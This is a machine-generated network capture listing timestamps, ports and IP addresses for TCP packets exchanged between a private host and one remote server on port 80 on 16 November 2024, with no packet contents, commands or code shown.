Nov 16, 2024 20:12:38.977210999 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.977252960 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.991029978 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.991063118 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.991111994 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.991158962 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.991158962 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.991194963 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.991195917 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.991226912 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.991261005 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.991293907 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.991302967 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.991328955 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.999465942 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.999475956 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.999526978 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.999528885 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.999555111 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.999596119 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.000031948 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.000116110 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.000165939 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.000174999 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.000199080 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.000231028 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.000269890 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.000279903 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.000313044 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.000324011 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.000360012 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.000420094 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.000422001 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.000453949 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.000499010 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.000524998 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.000556946 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.000596046 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.000602007 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.010812998 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.011693001 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.037925005 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.037957907 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.037992001 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.038029909 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.038072109 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.038081884 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.038131952 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.038163900 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.038187027 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.038197041 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.038258076 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.038290024 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.038311958 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.038321972 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.038332939 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.038355112 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.038388968 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.038420916 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.038436890 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.038463116 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.063345909 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.063373089 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.063386917 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.063443899 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.096184015 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.096215963 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.096265078 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.096297979 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.096301079 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.096318007 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.096330881 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.096363068 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.096411943 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.096426964 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.096462011 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.096472025 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.096498013 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.096525908 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.096568108 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.096570969 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.096616030 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.096618891 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.096668005 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.096716881 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.096750021 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.096757889 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.096779108 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.096797943 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.096811056 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.096842051 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.096885920 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.096889973 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.096924067 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.096934080 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.096956015 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.096988916 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.097032070 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.097037077 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.097070932 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.097080946 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.097131014 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.097178936 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.097212076 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.097224951 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.097254992 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.097260952 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.097294092 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.097326040 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.097364902 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.097388029 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.097398043 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.097405910 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.097430944 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.097503901 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.097553968 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.097559929 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.097583055 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.097606897 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.097630024 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.097680092 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.097727060 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.097728968 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.097763062 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.097770929 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.097795963 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.097827911 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.097839117 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.097876072 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.097909927 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.097940922 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.097954988 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.097976923 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.097982883 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.098007917 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.098041058 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.098068953 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.098083973 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.098100901 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.098114014 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.098133087 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.098201990 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.098247051 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.098253965 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.098285913 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.098297119 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.098335981 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.098367929 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.098413944 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.098428011 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.098447084 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.098460913 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.098495960 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.098527908 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.098561049 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.098586082 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.098592997 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.098596096 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.098628044 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.098680019 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.098714113 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.098723888 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.098747969 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.098758936 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.098798037 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.098846912 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.098882914 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.098907948 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.098915100 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.098937988 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.098947048 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.098973989 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.098994970 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.099006891 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.099039078 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.099071980 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.099083900 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.099104881 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.099113941 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.099137068 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.099169970 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.099203110 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.099215984 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.099246025 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.099251986 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.099306107 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.099354029 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.099386930 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.099400043 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.099420071 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.099428892 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.099452019 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.099483967 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.099517107 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.099529982 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.099549055 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.099562883 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.100112915 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.113379002 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.113413095 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.113446951 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.113461018 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.113487959 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.113711119 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.113745928 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.113830090 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.114059925 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.114113092 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.114162922 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.114196062 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.114207983 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.114228964 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.114238977 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.121334076 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.121387959 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.121447086 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.121476889 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.121510029 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.121525049 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.121965885 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.122051954 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.122083902 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.122085094 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.122117043 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.122128010 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.122149944 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.122183084 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.122214079 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.122226000 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.122247934 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.122262955 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.122330904 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.122379065 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.122411966 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.122431993 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.122442007 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.122453928 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.122476101 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.122503042 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.122543097 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.160125971 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.160155058 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.160177946 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.160202980 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.160238028 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.160249949 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.160269976 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.160303116 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.160335064 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.160346031 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.160367966 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.160377979 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.160399914 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.160433054 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.160464048 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.160474062 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.160496950 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.160506010 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.160528898 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.160559893 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.160574913 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.185137033 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.185169935 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.185203075 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.185223103 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.185250998 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.219014883 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.219058990 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.219093084 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.219127893 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.219139099 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.219161987 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.219196081 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.219202995 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.219228983 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.219238997 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.219263077 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.219295979 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.219332933 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.219360113 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.219389915 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.219410896 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.219423056 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.219482899 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.219521999 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.219727993 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.219779968 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.219780922 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.219814062 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.219866991 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.219899893 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.219906092 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.219932079 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.219944954 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.219964027 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.219999075 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.220041990 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.220050097 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.220082998 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.220091105 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.220115900 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.220165014 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.220197916 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.220210075 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.220243931 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.220248938 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.220284939 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.220325947 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.220357895 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.220369101 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.220401049 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.220408916 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.220442057 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.220474005 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.220524073 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.220529079 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.220551968 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.220582008 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.220582962 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.220623016 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.220643044 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.220654964 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.220688105 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.220730066 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.220738888 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.220784903 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.220789909 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.220892906 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.220937967 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.220966101 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.220993042 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.221005917 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.221018076 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.221071005 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.221102953 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.221137047 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.221147060 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.221169949 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:39.221180916 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:39.221204042 CET	80	49744	185.215.113.16	192.168.2.4
